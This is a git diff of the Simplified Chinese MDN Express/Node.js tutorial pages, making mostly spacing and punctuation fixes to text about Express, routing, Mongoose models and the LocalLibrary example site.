、所有genres
。控制器—post 路由
@@ -151,7 +151,7 @@视图
option(value=author._id) #{author.name}-注意: 此处代码的更动,是为了让书本表单 book_form ,能被创建和更新书本的对象共同使用 (如果不这么做,当创建表单时,在
+GET
路由会发生一个错误)。注意: 此处代码的更动,是为了让书本表单 book_form,能被创建和更新书本的对象共同使用 (如果不这么做,当创建表单时,在
GET
路由会发生一个错误)。加入一个更新按钮
@@ -166,7 +166,7 @@加入一个更新
你现在应该能够更新来自书本细节页面的书了。
-它看起來像是?
+它看起來像是?
运行本应用,打开浏览器,访问网址 http://localhost:3000/,点击所有书本 All books 连结,然后点击一本书。最后点击更新书本 Update Book 连结。
@@ -175,7 +175,7 @@它看起來像是?
-注意: 其它更新对象的页面,也可以用同样的方式处理。我们把这些更新页面的实作留下,做为自我挑战。
+注意: 其它更新对象的页面,也可以用同样的方式处理。我们把这些更新页面的实作留下,做为自我挑战。
diff --git a/files/zh-cn/learn/server-side/express_nodejs/index.html b/files/zh-cn/learn/server-side/express_nodejs/index.html index 9e7ed322186f8c..0979872859096c 100644 --- a/files/zh-cn/learn/server-side/express_nodejs/index.html +++ b/files/zh-cn/learn/server-side/express_nodejs/index.html @@ -8,64 +8,64 @@ ---
{{LearnSidebar}}-Express是一款受欢迎的开源web框架,构建语言是JavaScript,可以在node.js环境运行。本系列文章介绍了该框架的优点,如何搭建开发环境以及部署web开发环境并进行开发任务。
+Express 是一款受欢迎的开源 web 框架,构建语言是 JavaScript,可以在 node.js 环境运行。本系列文章介绍了该框架的优点,如何搭建开发环境以及部署 web 开发环境并进行开发任务。
前提
在开始这个模块之前你需要知道什么是服务端网页编程和 web 框架,建议你先阅读 服务端网页编程 模块。强烈推荐了解编程概念和 JavaScript ,但这对理解核心概念不是必需的。
-注意:这个网站有很多有用的资源用来学习JavaScript做客户端开发: JavaScript, JavaScript Guide, JavaScript Basics, JavaScript (learning). 核心的JavaScript语言和概念用Nodejs服务端开发是相同的,也是相关的。Node.js 提供 额外的API 用于支持在无浏览器环境中有用的功能,例如,创建HTTP服务器并访问文件系统,但不支持JavaScript API以使用浏览器和DOM。
+注意:这个网站有很多有用的资源用来学习 JavaScript 做客户端开发: JavaScript, JavaScript Guide, JavaScript Basics, JavaScript (learning). 核心的 JavaScript 语言和概念用 Nodejs 服务端开发是相同的,也是相关的。Node.js 提供 额外的 API 用于支持在无浏览器环境中有用的功能,例如,创建 HTTP 服务器并访问文件系统,但不支持 JavaScript API 以使用浏览器和 DOM。
-这篇指南将会提供一些Node.js 和 Express的信息, 并且有很多优秀的网络资源和书籍。一些链接 比如How do I get started with Node.js (StackOverflow) 和 What are the best resources for learning Node.js? (Quora).
+这篇指南将会提供一些 Node.js 和 Express 的信息,并且有很多优秀的网络资源和书籍。一些链接 比如How do I get started with Node.js (StackOverflow) 和 What are the best resources for learning Node.js? (Quora).
指南
-
- Express/Node 介绍
-- 在这篇文章中,我们回答了“什么是 Node?”和“什么是 Express?”并为您概述了Express web框架的特殊之处。我们将介绍主要功能,并向您展示Express应用程序的一些主要构建模块(尽管此时您还没有可用于测试它的开发环境)。
+- 在这篇文章中,我们回答了“什么是 Node?”和“什么是 Express?”并为您概述了 Express web 框架的特殊之处。我们将介绍主要功能,并向您展示 Express 应用程序的一些主要构建模块(尽管此时您还没有可用于测试它的开发环境)。
- 搭建 Node(Express) 开发环境
- 介绍了 Express 的所用之处后,我们将向您展示如何在不同操作系统下建立并验证 Node/Express 开发环境。无论您使用任何操作系统,这篇文章都可以完全指导如何开始构建 Express 应用。
- Express 教程——第一部分:本地图书馆
-- 该实用教程系列中的第一篇文章,介绍了即将学习的内容,并概述了在后续文章中不断迭代的 “本地图书馆”例子 。
+- 该实用教程系列中的第一篇文章,介绍了即将学习的内容,并概述了在后续文章中不断迭代的“本地图书馆”例子。
- Express 教程——第二部分:建立网站的骨架
-- 这篇文章将介绍如何建立一个网站项目的 “骨架”,然后您可以继续添加自己的路由、模板/视图和数据库。
+- 这篇文章将介绍如何建立一个网站项目的“骨架”,然后您可以继续添加自己的路由、模板/视图和数据库。
- Express 教程——第三部分:使用数据库(Mongoose)
- 这篇文章简单介绍了在 Node/Express 中如何使用数据库。本文中我们将会使用 Mongoose 为该项目(本地图书馆)提供数据访问,同时解释了如何定义对象模式、模型和基础和验证。本文也简单介绍了访问模型数据的一些主流方式。
- Express 教程——第四部分:路由和控制器
-- 我们在本教程中会设置路由来编写一些本地图书馆所需的伪造端点(endpoints)。在接下来的文章中,路由会有一个模块结构,可用来拓展real handler functions。最终,我们会对用Express创建模块化路由有很好的理解。
+- 我们在本教程中会设置路由来编写一些本地图书馆所需的伪造端点(endpoints)。在接下来的文章中,路由会有一个模块结构,可用来拓展 real handler functions。最终,我们会对用 Express 创建模块化路由有很好的理解。
- Express 教程——第五部分:在 HTML 上展示图书数据
我们现在已经准备好为展示本地图书馆图书和其他数据添加页面,包括展示每个model有多少记录的主页,以及list和detail页面。我们会积累从database获取记录以及使用模版的实战经验。
+我们现在已经准备好为展示本地图书馆图书和其他数据添加页面,包括展示每个 model 有多少记录的主页,以及 list 和 detail 页面。我们会积累从 database 获取记录以及使用模版的实战经验。
-
- Express教程——第六部分: 如何使用表单
-- 本教程我们会教你如何在Express使用HTML表单,Pug,以及从数据库中创建,更新,删除文件。
-- Express教程——第七部分:如何部署到生产环境
+- Express 教程——第六部分:如何使用表单
+- 本教程我们会教你如何在 Express 使用 HTML 表单,Pug,以及从数据库中创建,更新,删除文件。
+- Express 教程——第七部分:如何部署到生产环境
- 现在你已经创建了一个很棒的本地图书馆网站,你可以把本地环境迁移到公共网络服务器上,别人也可以使用网站。本章提供了如何找服务器,部署网站到生产环境的概览。
另见
-
- 在PWS/Cloud Foundry安装LocalLibrary
-- 本文提供了如何在Pivotal Web Services PaaS 云上安装LocalLibrary的实际演示 - 这是Heroku的全功能,开源替代品,Heroku是本教程第7部分中使用的PaaS云服务,如上所列。 如果您正在寻找Heroku(或其他PaaS云服务)的替代方案,或者只是想尝试不同的东西,PWS / Cloud Foundry绝对值得一试。
+- 在PWS/Cloud Foundry 安装 LocalLibrary
+- 本文提供了如何在Pivotal Web Services PaaS 云上安装 LocalLibrary 的实际演示 - 这是 Heroku 的全功能,开源替代品,Heroku 是本教程第 7 部分中使用的 PaaS 云服务,如上所列。如果您正在寻找 Heroku(或其他 PaaS 云服务)的替代方案,或者只是想尝试不同的东西,PWS / Cloud Foundry 绝对值得一试。
其它教程
-本教程到此结束,如果你想要更进一步,以下包含更多有趣的主题:
+本教程到此结束,如果你想要更进一步,以下包含更多有趣的主题:
-
- 使用sessions
+- 使用 sessions
- 使用者授权
- 使用者许可
-- 测试Express网页应用
-- Express网页应用的安全
+- 测试 Express 网页应用
+- Express 网页应用的安全
当然,如果做一个评估任务会更好!
diff --git a/files/zh-cn/learn/server-side/express_nodejs/introduction/index.html b/files/zh-cn/learn/server-side/express_nodejs/introduction/index.html index bdc82a14b43275..232b1af8bc7f8a 100644 --- a/files/zh-cn/learn/server-side/express_nodejs/introduction/index.html +++ b/files/zh-cn/learn/server-side/express_nodejs/introduction/index.html @@ -20,11 +20,11 @@
- 预备知识: -掌握计算机基础知识。了解 服务器端编程,特别是 客户-服务器交互机制。 +预备知识: +掌握计算机基础知识。了解 服务器端编程,特别是 客户 - 服务器交互机制。 - @@ -39,7 +39,7 @@学习目标: +学习目标: 熟悉 Express,以及它适配 Node 的方式、具体功能和构成要件。 什么是 Node?
- 卓越的性能表现!Node 为优化 web 应用的吞吐量和扩展度而生,对常见的 web 开发问题是一套绝佳方案(比如实时 web 应用)。
- 代码还是熟悉的老伙伴 JavaScript,这意味着在客户端和服务器端“上下文切换”的时间成本更低。
-- 与传统的 web 服务器语言(例如 Python、PHP 等)相比,JavaScript 理念更新,语言设计的改进带来了诸多好处。许多其它新近流行的语言也可编译/转换成 JavaScript,所以TypeScript、CoffeeScript、ClojureScript、Scala、LiveScript 等等也可以使用。
+- 与传统的 web 服务器语言(例如 Python、PHP 等)相比,JavaScript 理念更新,语言设计的改进带来了诸多好处。许多其它新近流行的语言也可编译/转换成 JavaScript,所以 TypeScript、CoffeeScript、ClojureScript、Scala、LiveScript 等等也可以使用。
- Node 包管理工具(node package manager,NPM)提供了数十万个可重用的工具包。它还提供了一流的依赖解决方案,可实现自动化工具链构建。
- Node.js 是可移植的,可运行于 Microsoft Windows、macOS、Linux、Solaris、FreeBSD、OpenBSD、WebOS 和 NonStop OS。此外,许多 web 主机供应商对其提供了良好支持(包括专用的基础框架和构建 Node 站点的文档)。
- 它有一个非常活跃的第三方生态系统和开发者社区,很多人愿意提供帮助。
@@ -85,7 +85,7 @@Hello Node.js
$ node "hello.js"-最后,在浏览器地址栏中输入
+"http://localhost:8000"
并按回车,可以看到一个大面积空白的网页,左上角有 “Hello World" 字样。最后,在浏览器地址栏中输入
"http://localhost:8000"
并按回车,可以看到一个大面积空白的网页,左上角有“Hello World" 字样。Web 框架
@@ -108,19 +108,19 @@什么是 Express?
注: 这种灵活性是一把双刃剑。虽然有一些中间件包可以解决几乎所有问题或需求,但是挑选合适的包有时也会成为一个挑战。这里构建应用没有“不二法门”,Internet 上许多示例也不是最优的,或者只展示了开发 web 应用所需工作的冰山一角。
-Node 和 Express 从哪儿来?
+Node 和 Express 从哪儿来?
-Node 发布于 2009 年,最初版本仅支持 Linux。NPM 包管理器发布于 2010年,并于 2012 年支持 Windows。目前(2019 年 1 月)的 LTS 版本是 Node 10.15.0,最新版本是 Node 11.8.0。这只是沧海一粟,更多历史信息请到 维基百科 探究。
+Node 发布于 2009 年,最初版本仅支持 Linux。NPM 包管理器发布于 2010 年,并于 2012 年支持 Windows。目前(2019 年 1 月)的 LTS 版本是 Node 10.15.0,最新版本是 Node 11.8.0。这只是沧海一粟,更多历史信息请到 维基百科 探究。
Express 发布于 2010 年 11 月,目前 API 的版本为 4.16.4。可以查看 修改记录 来查看当前版本的更新信息,或者访问 GitHub 页面来查看更详细的历史发布记录。
-Node 和 Express 有多流行?
+Node 和 Express 有多流行?
一个 web 框架是否流行是至关重要的,因为这预示着它是否会得到持续维护,是否会有更丰富的文档、插件库和技术支持。
服务器端框架的流行程度不容易量化(尽管有 Hot Frameworks 这样的网站试图通过计算 GitHub 项目和 StackOverflow 问题的数量等机制来评估框架的流行程度)。可以换个角度思考:Node 和 Express 是否“足够流行”、能够避免冷门平台带来的问题?它们还在持续更新吗?遇到问题时能得到帮助吗?学 Express 能挣钱吗?
-基于使用 Express 的 知名企业 的数量、维护代码库的人数、以及提供免费或付费支持的人数来说,Express是一个流行的框架!
+基于使用 Express 的 知名企业 的数量、维护代码库的人数、以及提供免费或付费支持的人数来说,Express 是一个流行的框架!
Express 是固执的吗?
@@ -136,7 +136,7 @@Express 代码是什么样子的?
传统的数据驱动型网站中,web 应用是用于等待来自浏览器(或其它客户端)的 HTTP 请求的。当 web 应用收到一个请求时,会根据 URL 的模式,以及
-POST
数据和GET
数据可能包含的信息,来解析请求所需的功能。根据请求的内容,web 应用可能会从数据库读或写一些信息,等等操作来满足请求。随后,web 应用会返回给浏览器一个响应,通常是动态生成一页 HTML,在页面中用所取得的信息填充占位符。使用 Express 可以调用特定 HTTP 动词(
+GET
,POST
,SET
等)函数和 URL 模式(“路由”)函数,还可以指定模板(“视图”)引擎的种类、模板文件的位置以及渲染响应所使用的模板。可以使用 Express 中间件来添加对 cookie、会话、用户、获取POST
/GET
参数,等。可以使用Node 支持的任何类型数据库(Express 本身没有定义任何数据库行为)。使用 Express 可以调用特定 HTTP 动词(
GET
,POST
,SET
等)函数和 URL 模式(“路由”)函数,还可以指定模板(“视图”)引擎的种类、模板文件的位置以及渲染响应所使用的模板。可以使用 Express 中间件来添加对 cookie、会话、用户、获取POST
/GET
参数,等。可以使用 Node 支持的任何类型数据库(Express 本身没有定义任何数据库行为)。下文将介绍 Express 和 Node 的一些常见知识点。
@@ -158,7 +158,7 @@Helloworld Express
}); app.listen(3000, () => { - console.log('示例应用正在监听 3000 端口!'); + console.log('示例应用正在监听 3000 端口 !'); }); @@ -166,13 +166,13 @@Helloworld Express
代码的中间部分(从
-app.get()
开始共三行)是路由定义。app.get()
方法指定了一个回调(callback)函数,该函数在每监听到一个关于站点根目录路径('/'
)的 HTTPGET
请求时调用。此回调函数以一个请求和一个响应对象作为参数,并直接调用响应的send()
来返回字符串“Hello World!”最后一个代码块在 “3000” 端口上启动服务器,并在控制台打印日志。服务器运行时,可用浏览器访问
+localhost:3000
,看看响应返回了什么。最后一个代码块在“3000”端口上启动服务器,并在控制台打印日志。服务器运行时,可用浏览器访问
localhost:3000
,看看响应返回了什么。导入和创建模块
模块是 JavaScript 库或文件,可以用 Node 的
-require()
函数将它们导入其它代码。Express 本身就是一个模块,Express 应用中使用的中间件和数据库也是。下面的代码以 Express 框架为例展示了如何通过名字来导入模块。首先,调用
+require()
函数,用字符串('express'
)指定模块的名字,然后调用返回的对象来创建Express 应用 。然后就可以访问应用对象的属性和函数了。下面的代码以 Express 框架为例展示了如何通过名字来导入模块。首先,调用
require()
函数,用字符串('express'
)指定模块的名字,然后调用返回的对象来创建 Express 应用。然后就可以访问应用对象的属性和函数了。const express = require('express'); const app = express(); @@ -215,7 +215,7 @@导入和创建模块
使用异步 APIs
-JavaScript 代码在完成那些需要一段时间才能完成的操作时,经常会用异步 API 来取代同步 API 。同步 API 下,每个操作完成后才可以进行下一个操作。例如,下列日志函数是同步的,将按顺序将文本打印到控制台(第一、第二)。
+JavaScript 代码在完成那些需要一段时间才能完成的操作时,经常会用异步 API 来取代同步 API。同步 API 下,每个操作完成后才可以进行下一个操作。例如,下列日志函数是同步的,将按顺序将文本打印到控制台(第一、第二)。
console.log('第一'); console.log('第二'); @@ -249,7 +249,7 @@-创建路由处理器(Route });
回调函数将请求和响应对象作为参数。该函数直接调用响应的
+send()
以返回字符串“Hello World!”。有 许多其它响应方法 可以结束请求/响应周期,例如,通过调用res.json()
来发送JSON 响应、调用res.sendFile()
来发送文件。回调函数将请求和响应对象作为参数。该函数直接调用响应的
send()
以返回字符串“Hello World!”。有 许多其它响应方法 可以结束请求/响应周期,例如,通过调用res.json()
来发送 JSON 响应、调用res.sendFile()
来发送文件。JavaScript 提示:虽然回调函数的参数命名没有限制,但是当调用回调时,第一个参数将始终是请求,第二个参数将始终是响应。合理的命名它们,在回调体中使用的对象将更容易识别。
@@ -304,7 +304,7 @@创建路由处理器(Route
使用中间件(Middleware)
-中间件在 Express 应用中得到了广泛使用,从提供错误处理静态文件、到压缩 HTTP 响应等等。路由函数可以通过向 HTTP 客户端返回一些响应来结束 HTTP “请求 - 响应”周期,而中间件函数通常是对请求或响应执行某些操作,然后调用“栈”里的下一个函数,可能是其它中间件或路由处理器。中间件的调用顺序由应用开发者决定。
+中间件在 Express 应用中得到了广泛使用,从提供错误处理静态文件、到压缩 HTTP 响应等等。路由函数可以通过向 HTTP 客户端返回一些响应来结束 HTTP“请求 - 响应”周期,而中间件函数通常是对请求或响应执行某些操作,然后调用“栈”里的下一个函数,可能是其它中间件或路由处理器。中间件的调用顺序由应用开发者决定。
注:中间件可以执行任何操作,运行任何代码,更改请求和响应对象,也可以结束“请求 - 响应”周期。如果它没有结束循环,则必须调用
@@ -356,7 +356,7 @@next()
将控制传递给下一个中间件函数(否则请求将成为悬挂请求)。使用中间件(Middleware)
app.listen(3000);-JavaScript提示:上面代码中单独声明了中间件函数,并把它设置为回调。之前是把路由处理函数在使用时声明为回调。在 JavaScript 中,两种方法都可行。
+JavaScript 提示:上面代码中单独声明了中间件函数,并把它设置为回调。之前是把路由处理函数在使用时声明为回调。在 JavaScript 中,两种方法都可行。
请参阅 Express 文档中关于 使用 和 开发 Express 中间件的内容。
@@ -453,7 +453,7 @@使用数据库
渲染数据(视图,view)
-模板引擎可为输出文档的结构指定一个模板,在数据处先放置占位符,并于页面生成时填充。模板通常用于生成 HTML,也可以生成其它类型的文档。Express 支持 多个版本的模板引擎,可以参阅:JavaScript 模板引擎对比评测:Jade、Mustache、Dust与其它。
+模板引擎可为输出文档的结构指定一个模板,在数据处先放置占位符,并于页面生成时填充。模板通常用于生成 HTML,也可以生成其它类型的文档。Express 支持 多个版本的模板引擎,可以参阅:JavaScript 模板引擎对比评测:Jade、Mustache、Dust 与其它。
在应用设置代码中声明了模板引擎的名称和位置后,Express 可以使用
@@ -483,7 +483,7 @@'views'
和'view engines'
设置来寻找模板,如下所示(必须事先安装包含模板库的包!):文件结构
小结
-恭喜,你迈出了 Express/Node 旅程的第一步 !你现在已经了解了 Express 与 Node 的主要优势,并大致了解了 Express 应用的结构 (路由处理器、中间件、错误处理和模板代码)。你还了解到 Express 作为一个高度包容的框架,让你在组织应用结构和库时更自由,更开放!
+恭喜,你迈出了 Express/Node 旅程的第一步!你现在已经了解了 Express 与 Node 的主要优势,并大致了解了 Express 应用的结构 (路由处理器、中间件、错误处理和模板代码)。你还了解到 Express 作为一个高度包容的框架,让你在组织应用结构和库时更自由,更开放!
诚然,Express 是一个非常轻量的 web 应用框架,这是有意为之的,它巨大的裨益和无尽的潜能都来自第三方的库和功能。今后的章节会详细讨论。下一节会讲如何设置 Node 开发环境,之后就能开始 Express 的实战了。
diff --git a/files/zh-cn/learn/server-side/express_nodejs/mongoose/index.html b/files/zh-cn/learn/server-side/express_nodejs/mongoose/index.html index b93823a1dd8373..be15ffe809a091 100644 --- a/files/zh-cn/learn/server-side/express_nodejs/mongoose/index.html +++ b/files/zh-cn/learn/server-side/express_nodejs/mongoose/index.html @@ -27,7 +27,7 @@Express 教程 2: 创建站点骨架,了解数据库基础知识。 - @@ -39,7 +39,7 @@目标: +目标: 使用 Mongoose 设计建造模型。 概览
Express 应用支持多款数据库,执行新建(Create)、读取(Read)、更新(Update)和删除(Delete)操作 (CRUD) 操作也有诸多途径。本教程先做一个不完全简介,然后对教程选用的机制进行详细介绍。
-我可以使用什么数据库?
+我可以使用什么数据库?
Express 应用可以使用 Node 支持的所有数据库(Express 本身不支持数据库管理的任何具体行为/需求)。有许多 流行的选择,包括 PostgreSQL、MySQL、Redis、SQLite 和 MongoDB。
@@ -47,18 +47,18 @@我可以使用什么数据库?
更多信息请参阅:数据库集成(Express 文档)。
-与数据库交互的最佳方式是什么?
+与数据库交互的最佳方式是什么?
与数据库交互有两种方法:
-
- 使用数据库的原生查询语言(例如SQL)
-- 使用对象数据模型(Object Data Model,简称 ODM)或对象关系模型(Object Relational Model,简称 ORM)。 ODM / ORM 能将网站中的数据表示为 JavaScript 对象,然后将它们映射到底层数据库。一些 ORM 只适用某些特定数据库,还有一些是普遍适用的。
+- 使用数据库的原生查询语言(例如 SQL)
+- 使用对象数据模型(Object Data Model,简称 ODM)或对象关系模型(Object Relational Model,简称 ORM)。ODM / ORM 能将网站中的数据表示为 JavaScript 对象,然后将它们映射到底层数据库。一些 ORM 只适用某些特定数据库,还有一些是普遍适用的。
使用 SQL 或其它受到支持的查询语言才能达到最佳性能。ODM 通常慢一些,因为在对象和数据库格式之间存在一层用于映射的翻译代码,使它不一定会选用最高性能的数据库查询(尤其是普遍使用级别的 ODM,它必须在各类数据库功能方面做出更大的折衷)。
-使用 ORM 的好处是:程序员可以继续用 JavaScript 对象的思维而不用转向数据库语义的思维。 在(同一个或不同网站)使用不同数据库时尤为明显。使用 ORM 还可以更方便地对数据进行验证和检查。
+使用 ORM 的好处是:程序员可以继续用 JavaScript 对象的思维而不用转向数据库语义的思维。在(同一个或不同网站)使用不同数据库时尤为明显。使用 ORM 还可以更方便地对数据进行验证和检查。
提示:使用 ODM / ORM 通常可以降低开发和维护成本!除非你非常熟悉本地查询语言,或者项目对性能要求很高,否则强烈推荐使用 ODM。
@@ -72,9 +72,9 @@我应该使用哪种 ORM/ODM ?
- Mongoose:一款为异步工作环境设计的 MongoDB 对象建模工具。
-- Waterline:从基于Express 的 Sails 框架中提取的 ORM。它提供了一套统一的 API 来访问众多不同的数据库,其中包括 Redis,mySQL,LDAP,MongoDB 和 Postgres。
+- Waterline:从基于 Express 的 Sails 框架中提取的 ORM。它提供了一套统一的 API 来访问众多不同的数据库,其中包括 Redis,mySQL,LDAP,MongoDB 和 Postgres。
- Bookshelf:同时提供基于 promise 和传统回调两套接口,支持事务处理、渴求式/嵌套渴求式关系加载、多态关联,以及对一对一,一对多和多对多关系。支持 PostgreSQL、MySQL 和 SQLite3。
-- Objection:以尽可能简单的方式使用 SQL 和底层数据库引擎的全部功能(支持SQLite3、Postgres 和 MySQL)。
+- Objection:以尽可能简单的方式使用 SQL 和底层数据库引擎的全部功能(支持 SQLite3、Postgres 和 MySQL)。
- Sequelize:基于 promise 的 Node.js 版 ORM,它支持 PostgreSQL、MySQL、MariaDB、SQLite 和 MSSQL,并提供可靠的事务支持、关系、复本读取等功能。
- Node ORM2:一款 Node.js 对象关系管理系统。支持 MySQL、SQLite 以及 Progress,可以帮助你用面向对象的方法操作数据库。
- JugglingDB:一款 Node.js 版跨数据库的 ORM。它为多数流行数据库提供了统一接口,当前支持 MySQL、SQLite3、Postgres、MongoDB、Redis 和 js-memory-storage(自写引擎,仅供测试用)。
@@ -89,7 +89,7 @@在 LocalLibrary 中使
这种 ODM 和数据库的结合方式在 Node 社区中非常流行,一定程度上是因为文档存储和查询系统与 JSON 十分相似,因此 JavaScript 开发人员会非常熟悉。
-提示:使用 Mongoose 无需事先了解 MongoDB,但是部分 Mongoose文档 对于熟悉 MongoDB 的朋友会更易于使用和理解。
+提示:使用 Mongoose 无需事先了解 MongoDB,但是部分 Mongoose 文档 对于熟悉 MongoDB 的朋友会更易于使用和理解。
下面将介绍如何为 LocalLibrary 网站 定义和访问 Mongoose 模式和模型。
@@ -128,7 +128,7 @@Mongoose 入门
安装 Mongoose 和 MongoDB
-Mongoose 像任何其他依赖项一样,使用 NPM 将其安装在您的项目(package.json)中 。请在项目文件夹中运行下面的命令以完成安装:
+Mongoose 像任何其他依赖项一样,使用 NPM 将其安装在您的项目(package.json)中。请在项目文件夹中运行下面的命令以完成安装:
@@ -241,7 +241,7 @@$ npm install mongoose
模式类型(字段)
代码还展示了声明字段的两种方法:
-
- 字段名和类型名作为键-值对(就像
+name
、binary
和living
)。- 字段名和类型名作为键 - 值对(就像
name
、binary
和living
)。- 字段名后跟一个对象,在对象中定义
type
和字段的其它选项,可以是:
- 默认值。
@@ -300,7 +300,7 @@虚拟属性
方法和查询助手
-模式支持 实例方法、静态方法 和 查询助手。实例方法和静态方法外表很相似,但有本质区别,实例方法针对特定记录,且可以访问当前对象。查询助手可用于扩展 Mongoose 的 链式查询 API(例如,在
+find()
、findOne()
和findById()
方法外还可以添加一个 “byName
” 查询)。模式支持 实例方法、静态方法 和 查询助手。实例方法和静态方法外表很相似,但有本质区别,实例方法针对特定记录,且可以访问当前对象。查询助手可用于扩展 Mongoose 的 链式查询 API(例如,在
find()
、findOne()
和findById()
方法外还可以添加一个“byName
”查询)。使用模型
@@ -527,7 +527,7 @@架设 MongoDB 数据库
我们已经初步了解了 Mongoose 以及设计模型的方法,现在该开始搭建 LocalLibrary 网站了。第一件事就是设置 MongoDB 数据库,来存储图书馆的数据。
-本教程将使用 mLab 免费版“沙盒”云数据库。这一版不适用于生产环境,因为它没有冗余设计,但非常适合进行开发和原型设计。选用它是因为它免费且易于设置,并且 mLab 是一家流行的数据库服务供应商,也是生产环境数据库的理想选择(撰写本文时(2019年1月),国内流行的云数据库解决方案有 阿里云、腾讯云、百度云 等)。
+本教程将使用 mLab 免费版“沙盒”云数据库。这一版不适用于生产环境,因为它没有冗余设计,但非常适合进行开发和原型设计。选用它是因为它免费且易于设置,并且 mLab 是一家流行的数据库服务供应商,也是生产环境数据库的理想选择(撰写本文时(2019 年 1 月),国内流行的云数据库解决方案有 阿里云、腾讯云、百度云 等)。
注:也可以下载并安装 对应系统的安装包,设置本地版 MongoDB 数据库。多数指令和使用云数据库是一样的,除了连接时数据库的 URL。
@@ -680,7 +680,7 @@作者模型(Author)
藏书模型(Book)
-将下方的
+Book
模式代码复制粘贴至 ./models/book.js 文件中。大体结构与作者模型相似,有三个字符串字段, 一个用于获取特定藏书记录 URL 的虚拟属性,代码最后对模型进行导出。将下方的
Book
模式代码复制粘贴至 ./models/book.js 文件中。大体结构与作者模型相似,有三个字符串字段,一个用于获取特定藏书记录 URL 的虚拟属性,代码最后对模型进行导出。const mongoose = require('mongoose'); @@ -779,7 +779,7 @@测试——添加项目
注:无需深究 populatedb.js,它只是为数据库添加一些示例数据。
-译注:针对node.js3.0及以后版本,mlab使用“mongodb+srv://”链接而非“mongodb://”, 请对populatedb.js源码酌情修改,否则会报错而添加数据失败。
+译注:针对 node.js3.0 及以后版本,mlab 使用“mongodb+srv://”链接而非“mongodb://”, 请对populatedb.js源码酌情修改,否则会报错而添加数据失败。
- 在项目根目录运行以下命令,以安装脚本所需的异步模块(后续教程再展开讲) @@ -799,7 +799,7 @@
小结
本节介绍了数据库和 ORM(Node/Express 环境)的一些知识,以及定义 Mongoose 模式与模型的方法。随后为 LocalLibrary 网站设计并实现了
-Book
、BookInstance
、Author
、Genre
模型。本文最后(使用独立运行的脚本)创建了一些测试实例 。下一节将关注如何创建页面以显示这些对象。
+本文最后(使用独立运行的脚本)创建了一些测试实例。下一节将关注如何创建页面以显示这些对象。
另请参阅
diff --git a/files/zh-cn/learn/server-side/express_nodejs/routes/index.html b/files/zh-cn/learn/server-side/express_nodejs/routes/index.html index 2cae1e984a7a2e..0a2cf7c9fa3543 100644 --- a/files/zh-cn/learn/server-side/express_nodejs/routes/index.html +++ b/files/zh-cn/learn/server-side/express_nodejs/routes/index.html @@ -1,5 +1,5 @@ --- -title: Express 教程 4: 路由和控制器 +title: Express 教程 4:路由和控制器 slug: learn/Server-side/Express_Nodejs/routes tags: - Express @@ -20,7 +20,7 @@预备知识: -回顾 Express/Node 入门。 完成本教程之前小节(Express 教程 3:使用数据库 (Mongoose) 等)。了解服务器端编程,了解正则表达式。 +回顾 Express/Node 入门。完成本教程之前小节(Express 教程 3:使用数据库 (Mongoose) 等)。了解服务器端编程,了解正则表达式。 学习目标: @@ -98,7 +98,7 @@定义和使用单独的路由模
路由函数
-上述模块定义了两个典型的路由函数。
+Router.get()
方法定义的 “about” 路由(下方重现的)仅响应 HTTP GET 请求。第一个参数是 URL 路径,第二个参数是一个回调,在收到带有路径的HTTP GET 请求将调用之。上述模块定义了两个典型的路由函数。
Router.get()
方法定义的“about”路由(下方重现的)仅响应 HTTP GET 请求。第一个参数是 URL 路径,第二个参数是一个回调,在收到带有路径的 HTTP GET 请求将调用之。router.get('/about', (req, res) => { res.send('关于此维基'); @@ -358,7 +358,7 @@更新 app.js
app.use('/catalog', catalogRouter); // 将 catalog 路由添加进中间件链-注:我们将图书编目模块添加到了
+'/catalog'
路径,该路径是 catalog 模块中所有路径的前缀。例如,访问藏书列表 的URL 为:/catalog/books/
。注:我们将图书编目模块添加到了
'/catalog'
路径,该路径是 catalog 模块中所有路径的前缀。例如,访问藏书列表 的 URL 为:/catalog/books/
。大功告成。LocalLibrary 网站所需的所有 URL 的路由和框架函数都已准备完毕。
diff --git a/files/zh-cn/learn/server-side/express_nodejs/skeleton_website/index.html b/files/zh-cn/learn/server-side/express_nodejs/skeleton_website/index.html index 4592c37ca164e6..007c93a0a591f5 100644 --- a/files/zh-cn/learn/server-side/express_nodejs/skeleton_website/index.html +++ b/files/zh-cn/learn/server-side/express_nodejs/skeleton_website/index.html @@ -23,11 +23,11 @@
- 预备知识: +预备知识: 配置 Node 开发环境。复习 Express 教程。 - @@ -35,7 +35,7 @@目标: +目标: 掌握用 Express 应用生成器 创建站点的方法。 概览
-本节演示了如何使用 Express 应用生成器 创建一个可添加路由、模板/视图和数据库调用的“骨架”网站。这里我们将使用该生成器为 本地图书馆网站 创建框架,以便在以后章节添加其它代码。过程非常简单,只需要在命令行运行 “生成器 + 项目名称” 即可,此外还可以指定站点的模板引擎和 CSS 生成器。
+本节演示了如何使用 Express 应用生成器 创建一个可添加路由、模板/视图和数据库调用的“骨架”网站。这里我们将使用该生成器为 本地图书馆网站 创建框架,以便在以后章节添加其它代码。过程非常简单,只需要在命令行运行“生成器 + 项目名称”即可,此外还可以指定站点的模板引擎和 CSS 生成器。
以下内容介绍了应用生成器的用法,以及视图 / CSS 的一些不同选项。还介绍了骨架站点的组织结构。最后,我们将介绍站点的运行方法,从而对其进行验证。
@@ -46,7 +46,7 @@概览
使用应用生成器
-译注:本教程中命令操作基于 Linux/macOS 的 bash 终端,Windows 的命令提示符 cmd/PowerShell 与 bash 的概念和用法略有不同, 为在 Windows 上获得一致的体验,可以:
+译注:本教程中命令操作基于 Linux/macOS 的 bash 终端,Windows 的命令提示符 cmd/PowerShell 与 bash 的概念和用法略有不同,为在 Windows 上获得一致的体验,可以:
- 自己弄懂 cmd/PowerShell 与 bash 的区别。
@@ -110,11 +110,11 @@我应该用哪个视图引擎?
- 进入生产状态的时间——如果你的团队已经有某个模板语言的经验,那么用它可能更快进入生产状态。否则你应该考虑所选模板引擎的学习曲线。
- 流行度和活跃度——要评估所选引擎的流行程度,以及它是否拥有活跃的社区。在网站的生命周期中遇到问题时,是否能够获得相关支持非常重要。
-- 风格——某些模板引擎使用特定标记,来标识插入“普通” HTML 中的内容,而另一些模板引擎使用不同的语法(例如使用缩进和块名称)构造 HTML。
+- 风格——某些模板引擎使用特定标记,来标识插入“普通”HTML 中的内容,而另一些模板引擎使用不同的语法(例如使用缩进和块名称)构造 HTML。
- 性能/渲染时间。
- 功能——你应该考虑所选引擎是否具有以下功能:
-
- 布局继承:可以定义基本模板,然后 “继承” 它的一部分,使不同页面可以有不同的呈现。这通常比包含大量所需组件,或每次从头开始构建模板更好。
